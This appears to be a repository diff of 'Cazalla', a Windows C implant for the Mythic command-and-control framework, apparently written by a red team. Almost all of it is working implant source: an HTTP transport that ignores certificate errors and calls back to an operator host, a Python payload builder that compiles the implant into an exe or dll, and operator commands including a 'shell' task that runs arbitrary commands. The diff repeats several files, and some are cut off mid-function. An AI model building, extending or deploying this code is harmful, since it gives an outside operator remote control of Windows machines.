hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, cazallaConfig->endPoint, NULL, NULL, NULL, httpFlags);
if (!hPeticion) return NULL;
// Configurar opciones de seguridad si es HTTPS
if (cazallaConfig->SSL) {
DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
WinHttpSetOption(hPeticion, WINHTTP_OPTION_SECURITY_FLAGS, &opcionesSeguridad, sizeof(DWORD));
}
// Configurar proxy si está habilitado
if (WinHttpGetIEProxyConfigForCurrentUser(&configuracionProxy)) {
if (configuracionProxy.lpszProxy != NULL && lstrlenW(configuracionProxy.lpszProxy) != 0) {
infoProxy.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
infoProxy.lpszProxy = configuracionProxy.lpszProxy;
infoProxy.lpszProxyBypass = configuracionProxy.lpszProxyBypass;
WinHttpSetOption(hPeticion, WINHTTP_OPTION_PROXY, &infoProxy, sizeof(infoProxy));
}
}
// Enviar la petición
if (!WinHttpSendRequest(hPeticion, WINHTTP_NO_ADDITIONAL_HEADERS, 0, bufferIn, bufferLen, bufferLen, 0)) {
_err("WinHttpSendRequest falló con error %u\n", GetLastError());
return NULL;
}
// Recibir respuesta
if (!WinHttpReceiveResponse(hPeticion, NULL)) {
_err("Error al recibir respuesta HTTP\n");
return NULL;
}
codigoDeEstado = obtenerCodigoDeEstado(hPeticion);
if (codigoDeEstado != 200) {
_err("[HTTP] Código de estado no OK --> %d\n", codigoDeEstado);
return NULL;
}
// Leer respuesta
do {
dwTamano = 1024;
if (!WinHttpQueryDataAvailable(hPeticion, &dwTamano)) {
printf("[HTTP] Error %u en WinHttpQueryDataAvailable.\n", GetLastError());
return NULL;
}
if (!WinHttpReadData(hPeticion, buffer, 1024, &dwDescargado)) {
printf("[HTTP] Error %u en WinHttpReadData.\n", GetLastError());
return NULL;
}
respSize += dwDescargado;
if (!respBuffer) {
respBuffer = LocalAlloc(LPTR, respSize);
}
else {
respBuffer = LocalReAlloc(respBuffer, respSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
}
memcpy((PBYTE)respBuffer + (respSize - dwDescargado), buffer, dwDescargado);
memset(buffer, 0, 1024);
} while (dwTamano > 0);
respBuffer = LocalReAlloc(respBuffer, respSize + 1, LMEM_MOVEABLE | LMEM_ZEROINIT);
return nuevoAnalizador((PBYTE)respBuffer, respSize);
}
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano) {
#ifdef HTTP_TRANSPORT
return realizarPeticionHTTP(datos, tamano);
#endif
return NULL;
#include "transporte.h"
int obtenerCodigoDeEstado(HANDLE hPeticion) {
DWORD codigoDeEstado = 0;
DWORD tamanoEstado = sizeof(DWORD);
if (!WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &codigoDeEstado, &tamanoEstado, WINHTTP_NO_HEADER_INDEX))
return 0;
return codigoDeEstado;
}
Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
HANDLE hSesion = NULL, hConexion = NULL, hPeticion = NULL;
DWORD dwTamano = 0, dwDescargado = 0, codigoDeEstado = 0;
PVOID respBuffer = NULL;
DWORD respSize = 0;
UCHAR buffer[1024] = { 0 };
DWORD httpFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE;
// Configuración de Proxy
WINHTTP_PROXY_INFO infoProxy = { 0 };
WINHTTP_CURRENT_USER_IE_PROXY_CONFIG configuracionProxy = { 0 };
WINHTTP_AUTOPROXY_OPTIONS opcionesProxyAutomaticas = { 0 };
DWORD tipoDeAcceso = WINHTTP_ACCESS_TYPE_NO_PROXY;
LPCWSTR httpProxy = WINHTTP_NO_PROXY_NAME;
LPCWSTR noProxyBypass = WINHTTP_NO_PROXY_BYPASS;
if (cazallaConfig->proxyHabilitado && cazallaConfig->urlProxy) {
tipoDeAcceso = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
httpProxy = cazallaConfig->urlProxy;
}
if (cazallaConfig->SSL) {
httpFlags |= WINHTTP_FLAG_SECURE;
}
// Crear sesión HTTP
hSesion = WinHttpOpen(cazallaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0);
if (!hSesion) return NULL;
// Conectar al servidor
hConexion = WinHttpConnect(hSesion, cazallaConfig->hostName, cazallaConfig->puertoHttp, 0);
if (!hConexion) return NULL;
// Crear petición HTTP/HTTPS
hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, cazallaConfig->endPoint, NULL, NULL, NULL, httpFlags);
if (!hPeticion) return NULL;
// Configurar opciones de seguridad si es HTTPS
if (cazallaConfig->SSL) {
DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
WinHttpSetOption(hPeticion, WINHTTP_OPTION_SECURITY_FLAGS, &opcionesSeguridad, sizeof(DWORD));
}
// Configurar proxy si está habilitado
if (WinHttpGetIEProxyConfigForCurrentUser(&configuracionProxy)) {
if (configuracionProxy.lpszProxy != NULL && lstrlenW(configuracionProxy.lpszProxy) != 0) {
infoProxy.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
infoProxy.lpszProxy = configuracionProxy.lpszProxy;
infoProxy.lpszProxyBypass = configuracionProxy.lpszProxyBypass;
WinHttpSetOption(hPeticion, WINHTTP_OPTION_PROXY, &infoProxy, sizeof(infoProxy));
}
}
// Enviar la petición
if (!WinHttpSendRequest(hPeticion, WINHTTP_NO_ADDITIONAL_HEADERS, 0, bufferIn, bufferLen, bufferLen, 0)) {
_err("WinHttpSendRequest falló con error %u\n", GetLastError());
return NULL;
}
// Recibir respuesta
if (!WinHttpReceiveResponse(hPeticion, NULL)) {
_err("Error al recibir respuesta HTTP\n");
return NULL;
}
codigoDeEstado = obtenerCodigoDeEstado(hPeticion);
if (codigoDeEstado != 200) {
_err("[HTTP] Código de estado no OK --> %d\n", codigoDeEstado);
return NULL;
}
// Leer respuesta
do {
dwTamano = 1024;
if (!WinHttpQueryDataAvailable(hPeticion, &dwTamano)) {
_err("[HTTP] Error %u en WinHttpQueryDataAvailable.\n", GetLastError());
return NULL;
}
if (!WinHttpReadData(hPeticion, buffer, 1024, &dwDescargado)) {
_err("[HTTP] Error %u en WinHttpReadData.\n", GetLastError());
return NULL;
}
respSize += dwDescargado;
if (!respBuffer) {
respBuffer = LocalAlloc(LPTR, respSize);
}
else {
respBuffer = LocalReAlloc(respBuffer, respSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
}
memcpy((PBYTE)respBuffer + (respSize - dwDescargado), buffer, dwDescargado);
memset(buffer, 0, 1024);
} while (dwTamano > 0);
respBuffer = LocalReAlloc(respBuffer, respSize + 1, LMEM_MOVEABLE | LMEM_ZEROINIT);
return nuevoAnalizador((PBYTE)respBuffer, respSize);
}
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano) {
#ifdef HTTP_TRANSPORT
return realizarPeticionHTTP(datos, tamano);
#endif
return NULL;
}
@@ -1,16 +1,16 @@
#pragma once
#ifndef TRANSPORTE
#define TRANSPORTE
#include <windows.h>
#include <winhttp.h>
#include "cazalla.h"
#include "analizador.h"
#pragma comment(lib, "winhttp.lib")
#define HTTP_TRANSPORT
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano);
#pragma once
#ifndef TRANSPORTE
#define TRANSPORTE
#include <windows.h>
#include <winhttp.h>
#include "cazalla.h"
#include "analizador.h"
#pragma comment(lib, "winhttp.lib")
#define HTTP_TRANSPORT
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano);
#endif
@@ -1,198 +1,196 @@
#include "utils.h"
int b64invs[] = { 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58,
59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5,
6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,
21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28,
29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42,
43, 44, 45, 46, 47, 48, 49, 50, 51 };
const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
size_t b64tamanoCodificado(size_t inlen) {
size_t ret;
ret = inlen;
if (inlen % 3 != 0)
ret += 3 - (inlen % 3);
ret /= 3;
ret *= 4;
return ret;
}
int aleatorioInt32(int min, int max){
return (rand() % (max - min + 1)) + min;
}
char* b64Codificado(const unsigned char* in, SIZE_T len) {
char* out;
SIZE_T elen;
SIZE_T i;
SIZE_T j;
SIZE_T v;
if (in == NULL || len == 0) {
return NULL;
}
elen = b64tamanoCodificado(len);
out = (char*)LocalAlloc(LPTR, elen + 1);
if (!out) {
return NULL;
}
out[elen] = '\0';
for (i = 0, j = 0; i < len; i += 3, j += 4) {
v = in[i];
v = i + 1 < len ? v << 8 | in[i + 1] : v << 8;
v = i + 2 < len ? v << 8 | in[i + 2] : v << 8;
out[j] = b64chars[(v >> 18) & 0x3F];
out[j + 1] = b64chars[(v >> 12) & 0x3F];
if (i + 1 < len) {
out[j + 2] = b64chars[(v >> 6) & 0x3F];
}
else {
out[j + 2] = '=';
}
if (i + 2 < len) {
out[j + 3] = b64chars[v & 0x3F];
}
else {
out[j + 3] = '=';
}
}
return out;
}
SIZE_T b64tamanoDecodificado(const char* in) {
SIZE_T len;
SIZE_T ret;
SIZE_T i;
if (in == NULL) {
return 0;
}
len = strlen(in);
ret = len / 4 * 3;
for (i = len; i-- > 0; ) {
if (in[i] == '=') {
ret--;
}
else {
break;
}
}
return ret;
}
int b64IsValidChar(char c) {
if (c >= '0' && c <= '9') {
return 1;
}
if (c >= 'A' && c <= 'Z') {
return 1;
}
if (c >= 'a' && c <= 'z') {
return 1;
}
if (c == '+' || c == '/' || c == '=') {
return 1;
}
return 0;
}
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen) {
SIZE_T len;
SIZE_T i;
SIZE_T j;
int v;
if (in == NULL || out == NULL) {
return 0;
}
len = strlen(in);
if (outlen < b64tamanoDecodificado(in) || len % 4 != 0) {
return 0;
}
for (i = 0; i < len; i++) {
if (!b64IsValidChar(in[i])) {
return 0;
}
}
for (i = 0, j = 0; i < len; i += 4, j += 3) {
v = b64invs[in[i] - 43];
v = (v << 6) | b64invs[in[i + 1] - 43];
v = in[i + 2] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 2] - 43];
v = in[i + 3] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 3] - 43];
out[j] = (v >> 16) & 0xFF;
if (in[i + 2] != '=') {
out[j + 1] = (v >> 8) & 0xFF;
}
if (in[i + 3] != '=') {
out[j + 2] = v & 0xFF;
}
}
return 1;
}
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value) {
(buffer)[0] = (value >> 24) & 0xFF;
(buffer)[1] = (value >> 16) & 0xFF;
(buffer)[2] = (value >> 8) & 0xFF;
(buffer)[3] = (value) & 0xFF;
}
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value) {
buffer[7] = value & 0xFF;
value >>= 8;
buffer[6] = value & 0xFF;
value >>= 8;
buffer[5] = value & 0xFF;
value >>= 8;
buffer[4] = value & 0xFF;
value >>= 8;
buffer[3] = value & 0xFF;
value >>= 8;
buffer[2] = value & 0xFF;
value >>= 8;
buffer[1] = value & 0xFF;
value >>= 8;
buffer[0] = value & 0xFF;
#include "utils.h"
int b64invs[] = { 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58,
59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5,
6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,
21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28,
29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42,
43, 44, 45, 46, 47, 48, 49, 50, 51 };
const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
size_t b64tamanoCodificado(size_t inlen) {
size_t ret;
ret = inlen;
if (inlen % 3 != 0)
ret += 3 - (inlen % 3);
ret /= 3;
ret *= 4;
return ret;
}
int aleatorioInt32(int min, int max) {
return (rand() % (max - min + 1)) + min;
}
char* b64Codificado(const unsigned char* in, SIZE_T len) {
char* out;
SIZE_T elen;
SIZE_T i;
SIZE_T j;
SIZE_T v;
if (in == NULL || len == 0) {
return NULL;
}
elen = b64tamanoCodificado(len);
out = (char*)LocalAlloc(LPTR, elen + 1);
if (!out) {
return NULL;
}
out[elen] = '\0';
for (i = 0, j = 0; i < len; i += 3, j += 4) {
v = in[i];
v = i + 1 < len ? v << 8 | in[i + 1] : v << 8;
v = i + 2 < len ? v << 8 | in[i + 2] : v << 8;
out[j] = b64chars[(v >> 18) & 0x3F];
out[j + 1] = b64chars[(v >> 12) & 0x3F];
if (i + 1 < len) {
out[j + 2] = b64chars[(v >> 6) & 0x3F];
}
else {
out[j + 2] = '=';
}
if (i + 2 < len) {
out[j + 3] = b64chars[v & 0x3F];
}
else {
out[j + 3] = '=';
}
}
return out;
}
SIZE_T b64tamanoDecodificado(const char* in) {
SIZE_T len;
SIZE_T ret;
SIZE_T i;
if (in == NULL) {
return 0;
}
len = strlen(in);
ret = len / 4 * 3;
for (i = len; i-- > 0; ) {
if (in[i] == '=') {
ret--;
}
else {
break;
}
}
return ret;
}
int b64IsValidChar(char c) {
if (c >= '0' && c <= '9') {
return 1;
}
if (c >= 'A' && c <= 'Z') {
return 1;
}
if (c >= 'a' && c <= 'z') {
return 1;
}
if (c == '+' || c == '/' || c == '=') {
return 1;
}
return 0;
}
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen) {
SIZE_T len;
SIZE_T i;
SIZE_T j;
int v;
if (in == NULL || out == NULL) {
return 0;
}
len = strlen(in);
if (outlen < b64tamanoDecodificado(in) || len % 4 != 0) {
return 0;
}
for (i = 0; i < len; i++) {
if (!b64IsValidChar(in[i])) {
return 0;
}
}
for (i = 0, j = 0; i < len; i += 4, j += 3) {
v = b64invs[in[i] - 43];
v = (v << 6) | b64invs[in[i + 1] - 43];
v = in[i + 2] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 2] - 43];
v = in[i + 3] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 3] - 43];
out[j] = (v >> 16) & 0xFF;
if (in[i + 2] != '=') {
out[j + 1] = (v >> 8) & 0xFF;
}
if (in[i + 3] != '=') {
out[j + 2] = v & 0xFF;
}
}
return 1;
}
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value) {
(buffer)[0] = (value >> 24) & 0xFF;
(buffer)[1] = (value >> 16) & 0xFF;
(buffer)[2] = (value >> 8) & 0xFF;
(buffer)[3] = (value) & 0xFF;
}
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value) {
buffer[7] = value & 0xFF;
value >>= 8;
buffer[6] = value & 0xFF;
value >>= 8;
buffer[5] = value & 0xFF;
value >>= 8;
buffer[4] = value & 0xFF;
value >>= 8;
buffer[3] = value & 0xFF;
value >>= 8;
buffer[2] = value & 0xFF;
value >>= 8;
buffer[1] = value & 0xFF;
value >>= 8;
buffer[0] = value & 0xFF;
}
@@ -1,27 +1,27 @@
#pragma once
#ifndef UTILS
#define UTILS
#include <windows.h>
#include <stdlib.h>
#include <time.h>
#include "debug.h"
#ifdef __MINGW64__
#define BYTESWAP32(x) __builtin_bswap32( x )
#define BYTESWAP64(x) __builtin_bswap64( x )
#endif
#ifdef _MSC_VER
#define BYTESWAP32(x) _byteswap_ulong(x)
#define BYTESWAP64(x) _byteswap_uint64(x)
#endif
SIZE_T b64tamanoDecodificado(const char* in);
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen);
char* b64Codificado(const unsigned char* in, SIZE_T len);
size_t b64tamanoCodificado(size_t inlen);
int aleatorioInt32(int min, int max);
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value);
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value);
#endif
#pragma once
#ifndef UTILS
#define UTILS
#include <windows.h>
#include <stdlib.h>
#include <time.h>
#include "debug.h"
#ifdef __MINGW64__
#define BYTESWAP32(x) __builtin_bswap32( x )
#define BYTESWAP64(x) __builtin_bswap64( x )
#endif
#ifdef _MSC_VER
#define BYTESWAP32(x) _byteswap_ulong(x)
#define BYTESWAP64(x) _byteswap_uint64(x)
#endif
SIZE_T b64tamanoDecodificado(const char* in);
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen);
char* b64Codificado(const unsigned char* in, SIZE_T len);
size_t b64tamanoCodificado(size_t inlen);
int aleatorioInt32(int min, int max);
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value);
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value);
#endif
@@ -1,131 +1,131 @@
import pathlib
import tempfile
from mythic_container.PayloadBuilder import *
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import json
from distutils.dir_util import copy_tree
import asyncio
class CazallaAgent(PayloadType):
name = "Cazalla"
file_extension = "exe"
author = "OFSTeam"
supported_os = [SupportedOS.Windows]
wrapper = False
wrapped_payloads = []
note = """C implant Developed by the Kaseya OFSTeam"""
supports_dynamic_loading = False
c2_profiles = ["http"]
mythic_encrypts = False
translation_container = "cazalla_translator"
build_parameters = [
BuildParameter(
name="output",
parameter_type=BuildParameterType.ChooseOne,
description="Choose output format",
choices=["exe", "dll", "debug_exe","debug_dll"],
default_value="exe"
),
]
agent_path = pathlib.Path(".") / "cazalla"
agent_icon_path = agent_path / "agent_functions" / "cazalla.png"
agent_code_path = agent_path / "agent_code"
build_steps = [
BuildStep(step_name="Gathering Files", step_description="Creating script payload"),
BuildStep(step_name="Applying configuration", step_description="Updating configuration constants"),
BuildStep(step_name="Compiling", step_description="Compiling with mingw"),
]
async def build(self) -> BuildResponse:
# this function gets called to create an instance of your payload
resp = BuildResponse(status=BuildStatus.Success)
Config = {
"payload_uuid": self.uuid,
"callback_host": "",
"USER_AGENT": "",
"httpMethod": "POST",
"post_uri": "",
"headers": [],
"callback_port": 80,
"ssl":False,
"proxyEnabled": False,
"proxy_host": "",
"proxy_user": "",
"proxy_pass": "",
}
stdout_err = ""
for c2 in self.c2info:
profile = c2.get_c2profile()
for key, val in c2.get_parameters_dict().items():
if isinstance(val, dict) and 'enc_key' in val:
stdout_err += "Setting {} to {}".format(key, val["enc_key"] if val["enc_key"] is not None else "")
encKey = base64.b64decode(val["enc_key"]) if val["enc_key"] is not None else ""
else:
Config[key] = val
break
if "https://" in Config["callback_host"]:
Config["ssl"] = True
Config["callback_host"] = Config["callback_host"].replace("https://", "").replace("http://","")
if Config["proxy_host"] != "":
Config["proxyEnabled"] = True
# create the payload
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid,
StepName="Gathering Files",
StepStdout="Found all files for payload",
StepSuccess=True
))
agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid)
copy_tree(str(self.agent_code_path), agent_build_path.name)
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid,
StepName="Applying configuration",
StepStdout="All configuration setting applied",
StepSuccess=True
))
with open(agent_build_path.name+"/cazalla/Config.h", "r+") as f:
content = f.read()
content = content.replace("%UUID%", Config["payload_uuid"])
content = content.replace("%HOSTNAME%", Config["callback_host"])
content = content.replace("%ENDPOINT%", Config["post_uri"])
if Config["ssl"]:
content = content.replace("%SSL%", "TRUE")
else:
content = content.replace("%SSL%", "FALSE")
content = content.replace("%PORT%", str(Config["callback_port"]))
content = content.replace("%SLEEPTIME%", str(Config["callback_interval"]))
content = content.replace("%USERAGENT%", Config["USER_AGENT"])
content = content.replace("%PROXYURL%", Config["proxy_host"])
if Config["proxyEnabled"]:
content = content.replace("%PROXYENABLED%", "TRUE")
else:
content = content.replace("%PROXYENABLED%", "FALSE")
f.seek(0)
f.write(content)
f.truncate()
command = "make -C {} exe".format(agent_build_path.name+"/cazalla")
filename = agent_build_path.name + "/cazalla/build/cazalla.exe"
proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE)
stdout, stderr = await proc.communicate()
print(stdout)
print(stderr)
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid,
StepName="Compiling",
StepStdout="Successfuly compiled Ra",
StepSuccess=True
))
build_msg = ""
resp.payload = open(filename, "rb").read()
return resp
import pathlib
import tempfile
from mythic_container.PayloadBuilder import *
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import json
from distutils.dir_util import copy_tree
import asyncio
class CazallaAgent(PayloadType):
name = "Cazalla"
file_extension = "exe"
author = "OFSTeam"
supported_os = [SupportedOS.Windows]
wrapper = False
wrapped_payloads = []
note = """C implant Developed by the Kaseya OFSTeam"""
supports_dynamic_loading = False
c2_profiles = ["http"]
mythic_encrypts = False
translation_container = "cazalla_translator"
build_parameters = [
BuildParameter(
name="output",
parameter_type=BuildParameterType.ChooseOne,
description="Choose output format",
choices=["exe", "dll", "debug_exe","debug_dll"],
default_value="exe"
),
]
agent_path = pathlib.Path(".") / "cazalla"
agent_icon_path = agent_path / "agent_functions" / "cazalla.png"
agent_code_path = agent_path / "agent_code"
build_steps = [
BuildStep(step_name="Gathering Files", step_description="Creating script payload"),
BuildStep(step_name="Applying configuration", step_description="Updating configuration constants"),
BuildStep(step_name="Compiling", step_description="Compiling with mingw"),
]
async def build(self) -> BuildResponse:
# this function gets called to create an instance of your payload
resp = BuildResponse(status=BuildStatus.Success)
Config = {
"payload_uuid": self.uuid,
"callback_host": "",
"USER_AGENT": "",
"httpMethod": "POST",
"post_uri": "",
"headers": [],
"callback_port": 80,
"ssl":False,
"proxyEnabled": False,
"proxy_host": "",
"proxy_user": "",
"proxy_pass": "",
}
stdout_err = ""
for c2 in self.c2info:
profile = c2.get_c2profile()
for key, val in c2.get_parameters_dict().items():
if isinstance(val, dict) and 'enc_key' in val:
stdout_err += "Setting {} to {}".format(key, val["enc_key"] if val["enc_key"] is not None else "")
encKey = base64.b64decode(val["enc_key"]) if val["enc_key"] is not None else ""
else:
Config[key] = val
break
if "https://" in Config["callback_host"]:
Config["ssl"] = True
Config["callback_host"] = Config["callback_host"].replace("https://", "").replace("http://","")
if Config["proxy_host"] != "":
Config["proxyEnabled"] = True
# create the payload
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid,
StepName="Gathering Files",
StepStdout="Found all files for payload",
StepSuccess=True
))
agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid)
copy_tree(str(self.agent_code_path), agent_build_path.name)
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid,
StepName="Applying configuration",
StepStdout="All configuration setting applied",
StepSuccess=True
))
with open(agent_build_path.name+"/cazalla/Config.h", "r+") as f:
content = f.read()
content = content.replace("%UUID%", Config["payload_uuid"])
content = content.replace("%HOSTNAME%", Config["callback_host"])
content = content.replace("%ENDPOINT%", Config["post_uri"])
if Config["ssl"]:
content = content.replace("%SSL%", "TRUE")
else:
content = content.replace("%SSL%", "FALSE")
content = content.replace("%PORT%", str(Config["callback_port"]))
content = content.replace("%SLEEPTIME%", str(Config["callback_interval"]))
content = content.replace("%USERAGENT%", Config["USER_AGENT"])
content = content.replace("%PROXYURL%", Config["proxy_host"])
if Config["proxyEnabled"]:
content = content.replace("%PROXYENABLED%", "TRUE")
else:
content = content.replace("%PROXYENABLED%", "FALSE")
f.seek(0)
f.write(content)
f.truncate()
command = "make -C {} exe".format(agent_build_path.name+"/cazalla")
filename = agent_build_path.name + "/cazalla/build/cazalla.exe"
proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE)
stdout, stderr = await proc.communicate()
print(stdout)
print(stderr)
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid,
StepName="Compiling",
StepStdout="Successfuly compiled Ra",
StepSuccess=True
))
build_msg = ""
resp.payload = open(filename, "rb").read()
return resp
@@ -1,38 +1,38 @@
from mythic_container.MythicCommandBase import *
import json
class ExitArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = []
async def parse_arguments(self):
if len(self.command_line) > 0:
raise Exception("Este comando no debe tener parametros")
class ExitCommand(CommandBase):
cmd = "exit"
needs_admin = False
help_cmd = "exit"
description = "Task para cerrar el proceso del implante"
version = 1
supported_ui_features = ["callback_table:exit"]
author = "Kaseya OFSTeam"
argument_class = ExitArguments
attackmapping = []
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
type = taskData.args.get_arg("type")
response.DisplayParams = type
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
from mythic_container.MythicCommandBase import *
import json
class ExitArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = []
async def parse_arguments(self):
if len(self.command_line) > 0:
raise Exception("Este comando no debe tener parametros")
class ExitCommand(CommandBase):
cmd = "exit"
needs_admin = False
help_cmd = "exit"
description = "Task para cerrar el proceso del implante"
version = 1
supported_ui_features = ["callback_table:exit"]
author = "Kaseya OFSTeam"
argument_class = ExitArguments
attackmapping = []
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
type = taskData.args.get_arg("type")
response.DisplayParams = type
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -0,0 +1,44 @@
from mythic_container.MythicCommandBase import *
import json
class PsArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = []
async def parse_arguments(self):
if len(self.command_line) > 0:
raise Exception("ps no debe lanzarse con parametros")
class PsCommand(CommandBase):
cmd = "ps"
needs_admin = False
help_cmd = "ps"
description = "Lista los procesos del host."
version = 1
supported_ui_features = ["process_browser:list"]
author = "Kaseya OFSTeam"
argument_class = PsArguments
browser_script = BrowserScript(
script_name="ps", author="Kaseya OFSTeam", for_new_ui=True
)
attributes = CommandAttributes(
builtin=False,
supported_os=[ SupportedOS.Windows ],
suggested_command=True
)
attackmapping = []
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -1,44 +1,44 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
class ShellArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="command",
type=ParameterType.String,
description="Comando a ejecutar"
),
]
async def parse_arguments(self):
if len(self.command_line) == 0:
raise ValueError("Se debe indicar un comando")
self.add_arg("command", self.command_line)
async def parse_dictionary(self, dictionary_arguments):
self.load_args_from_dictionary(dictionary_arguments)
class ShellCommand(CommandBase):
cmd = "shell"
needs_admin = False
help_cmd = "shell {command}"
description = "Ejecuta comandos de shell en el sistema NOTA: ESTO ES CERO OPSEC"
version = 1
author = "Kaseya OFSTeam"
attackmapping = ["T1059"]
argument_class = ShellArguments
attributes = CommandAttributes(
supported_os=[SupportedOS.MacOS, SupportedOS.Linux, SupportedOS.Windows]
)
async def create_tasking(self, task: MythicTask) -> MythicTask:
task.display_params = task.args.get_arg("command")
return task
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
class ShellArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="command",
type=ParameterType.String,
description="Comando a ejecutar"
),
]
async def parse_arguments(self):
if len(self.command_line) == 0:
raise ValueError("Se debe indicar un comando")
self.add_arg("command", self.command_line)
async def parse_dictionary(self, dictionary_arguments):
self.load_args_from_dictionary(dictionary_arguments)
class ShellCommand(CommandBase):
cmd = "shell"
needs_admin = False
help_cmd = "shell {command}"
description = "Ejecuta comandos de shell en el sistema NOTA: ESTO ES CERO OPSEC"
version = 1
author = "Kaseya OFSTeam"
attackmapping = ["T1059"]
argument_class = ShellArguments
attributes = CommandAttributes(
